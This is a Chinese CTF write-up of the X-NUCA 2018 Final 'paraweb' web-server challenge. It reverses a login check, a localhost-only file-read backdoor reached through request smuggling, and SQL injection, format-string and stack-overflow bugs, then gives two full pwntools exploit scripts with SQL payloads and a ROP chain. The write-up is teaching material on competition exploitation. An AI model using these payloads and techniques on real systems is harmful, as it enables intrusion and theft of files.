X-NUCA'2018 Final paraweb解题思路

X-NUCA’2018 Final paraweb解题思路

题目功能主要实现了一个Web服务器,首先需要搭建环境,附件及相关可从此处下载

需要安装的mysql-server mysql-client libmysqlclient-dev

1
sudo apt-get install mysql-server mysql-client libmysqlclient-dev

并将mysql的数据库root密码设置为paranoid

进入mysql,创建一个叫shop的数据库,再导入给出的shop.sql就可以了。

题目分别实现了对GET方法及POST方法数据包的处理。

利用点1

题目在GET处理请求中实现了几个额外功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
if ( !strcmp(haystack + 1, "login.html") )
{
for ( i = &arg_start; i < &content_start; i += 2 )
{
if ( i == &arg_start )
{
v5 = strtok(real_url, "=");
if ( !v5 )
break;
v6 = strtok(0LL, "&");
if ( !v6 )
break;
}
else
{
v5 = strtok(0LL, "=");
if ( !v5 )
break;
v6 = strtok(0LL, "&");
if ( !v6 )
break;
}
*i = v5;
i[1] = v6;
}
s1 = (char *)search_from_arg("username");
if ( s1 )
{
v8 = (const char *)search_from_arg("password");
if ( v8 )
{
if ( !strcmp(s1, "admin") )
{
if ( (unsigned int)if_passwd_correct(v8) )
{
v9 = (char *)search_from_arg("menu");
if ( v9 )
{
v10 = (const char *)search_from_arg("para");
if ( !strcmp(v9, "parsefile") )
{
parse_file(v10);
}
else if ( !strcmp(v9, "request") )
{
request(v10);
}
else if ( !strcmp(v9, "upload") )
{
v2 = (const char *)search_from_arg("filename");
upload(v10, v2);
}
}
}
}
}
}
}

当访问页面是login.html时,会检查是否存在username和password两个参数,当判断username的值为admin时,检查password的值,在if_passwd_correct中实现了对这段password的检查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
signed __int64 __fastcall if_passwd_correct(const char *a1)
{
signed int i; // [rsp+14h] [rbp-Ch]

if ( strlen(a1) > 0x40 || strlen(a1) <= 0x13 )
return 0LL;
if ( !strstr(a1, "admin") )
return 0LL;
strcpy(&dest, a1);
strcat(&dest, a1);
for ( i = 0; i <= 63; ++i )
{
if ( *(&dest + i) != byte_60F300[63 - i] )
return 0LL;
}
dword_605630 = 1;
return 1LL;
}

首先判断字符串是否在0x13到0x40间,接着判断里面是否存在admin字样,如果存在就将这个字符串复制两次到dest中去,进行64次的循环比较,比较dest的正向与byte_60F300的逆向是否相同。

可以主要到byte_60F300与dest恰好相差0x40个字节,如果输入长度是0x40的话,那么byte_60F300是相同的,而passwd检测就是输入是否是一个长度为0x40包含admin的回文序列,最简单的构造是

1
admin111111111111111111111111111111111111111111111111111111nimda

由此可以进入登录后的状态,登录后可以看到程序逻辑由menu这个键值决定,分别是parsefile(读文件)、request(发送请求)、upload(在./www/upload/里新建一个文件并输入内容)。

先看读文件,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
void __fastcall parse_file(const char *a1)
{
char *s1; // [rsp+18h] [rbp-18h]
char *s; // [rsp+20h] [rbp-10h]
FILE *stream; // [rsp+28h] [rbp-8h]

if ( !strcmp(ip_addr, "127.0.0.1") )
{
s1 = (char *)find_from_content("Credentials");
if ( s1 )
{
if ( !strcmp(s1, "LG GRAM") )
{
s = (char *)malloc(0x51uLL);
stream = fopen(a1, "rb");
if ( stream )
{
fgets(s, 80, stream);
write(1, s, 0x50uLL);
fclose(stream);
free(s);
}
else
{
perror("open failure");
}
}
}
}
}

可以看到,仅要求数据包头包含 Credentials: LG GRAM这样一条值的话,就可以打开para指定的文件,并读取。

很显然这个是一个后门功能,可以直接读取flag。

但这个后门有一个限制,就是 !strcmp(ip_addr, “127.0.0.1”) ,这个ip_addr是从socket中取的,很难被控制,因此需要有别的方法来构造这样的请求。最开始就被坑在这里,让队友打了半天远程都打不出flag….

再关注其他功能,在request这个功能中,就包含有上述操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
unsigned __int64 __fastcall request(const char *input)
{
int len; // ST1C_4
size_t myinput; // rax
size_t v3; // rax
signed int v5; // [rsp+18h] [rbp-2B8h]
int fd; // [rsp+20h] [rbp-2B0h]
char *output; // [rsp+28h] [rbp-2A8h]
void *ptr; // [rsp+38h] [rbp-298h]
struct sockaddr addr; // [rsp+40h] [rbp-290h]
char buf; // [rsp+50h] [rbp-280h]
unsigned __int64 v11; // [rsp+2C8h] [rbp-8h]

v11 = __readfsqword(0x28u);
len = strlen(input);
myinput = strlen(input);
output = (char *)malloc(myinput + 32);
decode_hex(output, len, (char *)input);
if ( (unsigned int)sub_402876(output) == 1 )
{
fd = socket(2, 1, 0);
if ( fd == -1 )
{
perror("Creating socket failed.\n");
}
else
{
addr.sa_family = 2;
*(_WORD *)addr.sa_data = htons(0x1F90u);
*(_DWORD *)&addr.sa_data[2] = inet_addr("127.0.0.1");
bzero(&addr.sa_data[6], 8uLL);
if ( connect(fd, &addr, 0x10u) == -1 )
{
perror("Connection failed.\n");
}
else
{
snprintf(
&buf,
0x200uLL,
"GET /%s HTTP/1.1\r\n"
"Host: 127.0.0.1\r\n"
"User-Agent: ComputerVendor\r\n"
"Cookie: nilnilnilnil\r\n"
"Connection: close\r\n"
"Identity: unknown\r\n",
output);
v3 = strlen(&buf);
if ( send(fd, &buf, v3, 0) == -1 )
{
puts("request failed.");
}
else
{
ptr = malloc(0x65uLL);
v5 = 0;
while ( v5 <= 6 )
{
++v5;
memset(ptr, 0, 0x64uLL);
if ( (signed int)recv(fd, ptr, 0x64uLL, 0) < 0 )
break;
write(1, ptr, 0x64uLL);
}
free(ptr);
close(fd);
}
}
}
}
return __readfsqword(0x28u) ^ v11;
}

首先将para中的参数进行处理,接着拼接到buf中去,并建立socket向127.0.0.1发送请求了。很显然只要数据构造得当,就可以构造出能读取flag的请求包。

看一下这个解码函数是什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
_BYTE *__fastcall decode_hex(_BYTE *out, int len, char *in)
{
char *v4; // rax
char *v5; // rax
_BYTE *v6; // rax
char *now; // [rsp+8h] [rbp-38h]
signed __int64 nowa; // [rsp+8h] [rbp-38h]
int len_1; // [rsp+14h] [rbp-2Ch]
char v10; // [rsp+2Fh] [rbp-11h]
unsigned int v11; // [rsp+30h] [rbp-10h]
unsigned int v12; // [rsp+34h] [rbp-Ch]
_BYTE *v13; // [rsp+38h] [rbp-8h]

now = in;
v13 = out;
if ( len <= 0 )
return 0LL;
len_1 = len - 1;
while ( *now )
{
if ( !len_1 )
return 0LL;
--len_1;
v4 = now;
nowa = (signed __int64)(now + 1);
v11 = sub_403042(*v4);
if ( v11 > 0xF )
return 0LL;
v5 = (char *)nowa;
now = (char *)(nowa + 1);
v12 = sub_403042(*v5);
if ( v12 > 0xF )
return 0LL;
v10 = 16 * v11 + v12;
if ( !v10 )
return 0LL;
v6 = v13++;
*v6 = v10;
}
*v13 = 0;
return out;
}

可以看到这个函数将两个字符为一组进行处理,应该全部来源于0~9a~zA~Z并最终转换成0~15,低字节*16+高字节,很显然这个是一个decode(‘hex’)操作,仅需将要伪造的包字符串进行encode(‘hex’)操作就可以了

一个简单的payload如下:

1
'login.html?username=admin&password=admin111111111111111111111111111111111111111111111111111111nimda&menu=parsefile&para=/opt/xnuca/flag.txt HTTP/1.1\r\nCredentials: LG GRAM\r\na: '

将其转换成hex表示,并拼接到一个request请求包的para参数就可以拿到flag了,第一种EXP如下:

EXP1.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
p = remote("172.17.0.1",8080)
buf= '''GET /login.html?username=admin&password=admin111111111111111111111111111111111111111111111111111111nimda&menu=request&para=6c6f67696e2e68746d6c3f757365726e616d653d61646d696e2670617373776f72643d61646d696e3131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131316e696d6461266d656e753d706172736566696c6526706172613d2f6f70742f786e7563612f666c61672e74787420485454502f312e310d0a43726564656e7469616c733a204c47204752414d0d0a613a20 HTTP/1.1
Host: 127.0.0.1:8080
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.92 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Credentials: LG GRAM'''
#context.log_level = 'debug'
p.send(buf)
p.recvuntil('Try login in me.!\\r\\n\n')
p.recvuntil('Try login in me.!\\r\\n\n')
flag = p.recvline()[:-1].replace('\0','')
print '[+] flag:',flag
p.interactive()

#'login.html?username=admin&password=admin111111111111111111111111111111111111111111111111111111nimda&menu=parsefile&para=/opt/xnuca/flag.txt HTTP/1.1\r\nCredentials: LG GRAM\r\na: '

利用点2

说完了第一个利用,这就是一个后门操作,再看post包的处理吧

在post包中提供了两个操作,可访问cart.html和product.html

而这两个操作都构造了sql语句访问了mysql,并且都存在SQL 注入,想起被sqlmap支配的恐惧,和在国家某漏洞库实习的日子。

先看二进制漏洞,首先在cart.html中存在一个格式化字符串漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if ( !strcmp(haystack + 1, "cart.html") )
{
strtok(qword_60F450, "=");
strtok(0LL, "&");
s1 = strtok(0LL, "=");
v16 = strtok(0LL, "&");
if ( s1 && v16 && !strcmp(s1, "cargo") )
{
v17 = sub_402A21();
s = (char *)malloc(0x66uLL);
snprintf(s, 0x64uLL, "SELECT md5(%s) from cargo;", v16);
if ( (unsigned int)mysql_query(v17, s) )
sub_402AD7(v17);
v19 = mysql_store_result(v17);
if ( !v19 )
sub_402AD7(v17);
mysql_fetch_row(v19);
v20 = (const char **)mysql_fetch_row(v19);
if ( *v20 )
-> printf(*v20);
else
printf("%s", "(Nil)");
free(s);
mysql_free_result(v19);
mysql_close(v17);
}

而从mysql中出来的数据如何存在格式化数据呢,队里Manasseh Zhou师傅给了我一个payload:

1
2
3
4
5
6
7
8
9
buf ="""POST /cart.html?cargo=-1); HTTP/1.1\r
Host: 127.0.0.1\r
User-Agent: ComputerVendor\r
Cookie: nilnilnilnil\r
Connection: close\r
Identity: unknown\r
Content-Length: 10\r
\r
a=1&cargo=1) union select '%75$p' ;# &"""

这样就可以构造出格式化的字符串了,有了这个功能可以泄露任意内容,虽然每次程序发送一个数据包以后都会断掉连接,但是由于这个处理功能是fork出来的,因此每次泄露的内容都是不变的。

有了一大堆泄露的数据后该如何下一步攻击呢?

再看另外一个功能:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
else if ( !strcmp(haystack + 1, "product.html") )
{
for ( i = &arg_start; i < &content_start; i += 2 )
{
if ( i == &arg_start )
{
v13 = strtok(qword_60F450, "=");
if ( !v13 )
break;
v14 = strtok(0LL, "&");
if ( !v14 )
break;
}
else
{
v13 = strtok(0LL, "=");
if ( !v13 )
break;
v14 = strtok(0LL, "&");
if ( !v14 )
break;
}
*i = v13;
i[1] = v14;
}
v21 = (char *)search_from_arg("id");
if ( v21 )
{
v22 = sub_402A21();
v3 = strlen("SELECT * FROM cargo where cargo_id=");
v4 = strlen(v21);
dest = (char *)malloc(v3 + v4 + 1);
strcpy(dest, "SELECT * FROM cargo where cargo_id=");
strcat(dest, v21);
if ( (unsigned int)mysql_query(v22, dest) )
sub_402AD7(v22);
v23 = mysql_store_result(v22);
if ( !v23 )
sub_402AD7(v22);
v11 = mysql_num_fields(v23);
while ( 1 )
{
v24 = mysql_fetch_row(v23);
if ( !v24 )
break;
for ( j = 0; j < v11; ++j )
{
if ( !j )
{
while ( 1 )
{
v25 = (_QWORD *)mysql_fetch_field(v23);
if ( !v25 )
break;
printf("%s ", *v25);
}
puts("\r\n");
}
if ( *(_QWORD *)(8LL * j + v24) )
{
if ( strstr(*(const char **)(8LL * j + v24), "overdue") )
{
v6 = strlen(*(const char **)(8LL * j + v24));
memcpy(&v26, *(const void **)(8LL * j + v24), v6 + 64);
}
else
{
v7 = strlen(*(const char **)(8LL * j + v24));
memcpy(&v26, *(const void **)(8LL * j + v24), v7);
}
}
else
{
memcpy(&v26, "(Nil)", 5uLL);
}
printf("%s ", &v26);
}
}
mysql_free_result(v23);
mysql_close(v22);
}
}

这个功能存在一个明显的问题,当查询结果出现overdue字样时,会向栈上拷贝查询结果+64的内存数据,妥妥的栈溢出。不过仍然有坑点,就是mysql查询结果都是字符串,而栈溢出出现利用必须有如0x00007f12345678这样的地址。

虽然可以通过union注入,可以通过类似于

1
union select 'aaa...aa',canary+'aaa...aa',onegadget[:-2],''

这样的方法使返回地址覆盖为onegadget,但是并没有用,因为程序没有输入,得到这个情况,只能使这个进程卡死,第一天晚上就卡在这里了。//最初以为可以DoS搅屎,发现并不能

第二天下午的时候 ,突然想起是否可以让mysql返回存在\x0000这样的数据,Manasseh Zhou提示我可以用unhex,来绕过截断限制,突然发现这样就可以写ROP了。

ROP由于复制长度限制,只能写0x20长,因此好多东西都搞不了,最后想到可以用system(“cat /opt/xnuca/flag.txt”)这样的命令来拿到flag。

但苦于没有合适的位置来构造,只有堆上有这样一条数据,但还加了一个单引号,因为是在SQL语句中,执行system时会卡死等待另一个单引号。

后来想到可以用SQL语句注释的规则来增加一个单引号绕过system执行限制,如用这样的SQL语句:

1
union select 'overdueaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',canary data,ROP,'cat /opt/xnuca/flag.txt;echo ';#'

这样最终会执行system(“cat /opt/xnuca/flag.txt;echo ‘;#’”)

就可以拿到flag了,最终的结果是一个ROP写一年,比赛结束后才写完这个ROP……(马后炮体质)

EXP2.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
from pwn import *
ip = "127.0.0.1"


def build_rop(libc_addr,heap):
rop = ''
rop += p64(libc_addr + 0x0000000000021102)

rop += p64(heap+392)
rop += p64(libc_addr + 283536)
#rop += p64(libc_addr + 0x0000000000021102)
#rop += p64(heap+415)
#rop += p64(libc_addr + 0x000000000003a7a0)
#rop += p64(1)
#0x000000000003a7a0 : mov dword ptr [rdi], 0 ; xor eax, eax ; pop rbx ; ret
#rop += p64(libc_addr + 0x00000000000202e8)
#rop += p64(1)
#rop += p64(libc_addr + 0x0000000000001b92)
#rop += p64(1)

#rop += p64(libc_addr + 586160)
'''
rop += p64(libc_addr + 0x0000000000021102)
rop += p64(heap+392)
rop += p64(libc_addr + 0x6f690)
'''
#rop += p64(libc_addr + 0x6f690)
'''
rop += p64(libc_addr + 0x0000000000021102)
rop += p64(heap+390)
rop += p64(libc_addr + 0x6f690)
'''


#0x0000000000021102 : pop rdi ; ret
#0x00000000000202e8 : pop rsi ; ret
#0x0000000000001b92 : pop rdx ; ret
#rop += p64(libc_addr+0x45216)
# strncpy 0x8d3c0
a = "unhex('%s')"%rop.encode('hex')
return a
p = remote(ip,8080)
buf ="""POST /cart.html?cargo=-1); HTTP/1.1\r
Host: 127.0.0.1\r
User-Agent: ComputerVendor\r
Cookie: nilnilnilnil\r
Connection: close\r
Identity: unknown\r
Content-Length: 10\r
\r
a=1&cargo=1) union select '%41$p' ;# &"""
context.log_level = 'debug'
p.send(buf)
p.recvuntil('</html>')
canary = int(p.recvuntil('00'),16)
print '[+]canary',hex(canary)

p = remote(ip,8080)
buf ="""POST /cart.html?cargo=-1); HTTP/1.1\r
Host: 127.0.0.1\r
User-Agent: ComputerVendor\r
Cookie: nilnilnilnil\r
Connection: close\r
Identity: unknown\r
Content-Length: 10\r
\r
a=1&cargo=1) union select '%44$p' ;# &"""
context.log_level = 'debug'
p.send(buf)
p.recvuntil('</html>')
stack = int(p.recv(14),16)
print '[+]canary',hex(stack)
p = remote(ip,8080)
buf ="""POST /cart.html?cargo=-1); HTTP/1.1\r
Host: 127.0.0.1\r
User-Agent: ComputerVendor\r
Cookie: nilnilnilnil\r
Connection: close\r
Identity: unknown\r
Content-Length: 10\r
\r
a=1&cargo=1) union select '%7$p' ;# &"""
context.log_level = 'debug'
p.send(buf)
p.recvuntil('</html>')
heap = int(p.recv(),16)
#raw_input()
print '[+]heap',hex(heap)

p = remote(ip,8080)

p = remote(ip,8080)


buf ="""POST /cart.html?cargo=-1); HTTP/1.1\r
Host: 127.0.0.1\r
User-Agent: ComputerVendor\r
Cookie: nilnilnilnil\r
Connection: close\r
Identity: unknown\r
Content-Length: 10\r
\r
a=1&cargo=1) union select '%75$p' ;# &"""
context.log_level = 'debug'
p.send(buf)
p.recvuntil('</html>')
libc_addr = int(p.recvuntil('30'),16)-0x20830
print '[+]libc_addr',hex(libc_addr)

p = remote(ip,8080)

buf ="""POST /cart.html?product.html HTTP/1.1\r
Host: 127.0.0.1\r
User-Agent: ComputerVendor\r
Cookie: nilnilnilnil\r
Connection: close\r
Identity: unknown\r
Content-Length: 100\r
\r
a=1&id=1&"""
context.log_level = 'debug'
p.send(buf)
p.recvuntil('</html>')

p = remote(ip,8080)

buf ="""POST /product.html? HTTP/1.1\r
Host: 127.0.0.1\r
User-Agent: ComputerVendor\r
Cookie: nilnilnilnil\r
Connection: close\r
Identity: unknown\r
Content-Length: 100\r
\r
a=1&id=111 union select 'overdueaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa','%s',%s,'cat /opt/xnuca/flag.txt;echo ';#'&"""%(p64(canary).replace('\0','')+'aaaaaaaaaaaaaaaaaaaaaaa',build_rop(libc_addr,heap) )#p64(libc_addr+0x45216).replace('\0',''))
#context.log_level = 'debug'
p.send(buf)
#p.recvuntil('</html>')
#print '[+]',p64(canary)[1:]
#print '[+++]',len(buf)
p.recvuntil('cat /opt/xnuca/flag.txt;echo aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa')
flag = p.recvline()
print '[+] flag',flag
p.interactive()


'''
0x0000000000021102 : pop rdi ; ret
0x00000000000202e8 : pop rsi ; ret
0x0000000000001b92 : pop rdx ; ret
0x6f690 puts\
0x18cd57 /bin/sh
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
文章目录
  1. 1. X-NUCA’2018 Final paraweb解题思路
    1. 1.1. 利用点1
      1. 1.1.1. EXP1.py
    2. 1.2. 利用点2
      1. 1.2.1. EXP2.py
|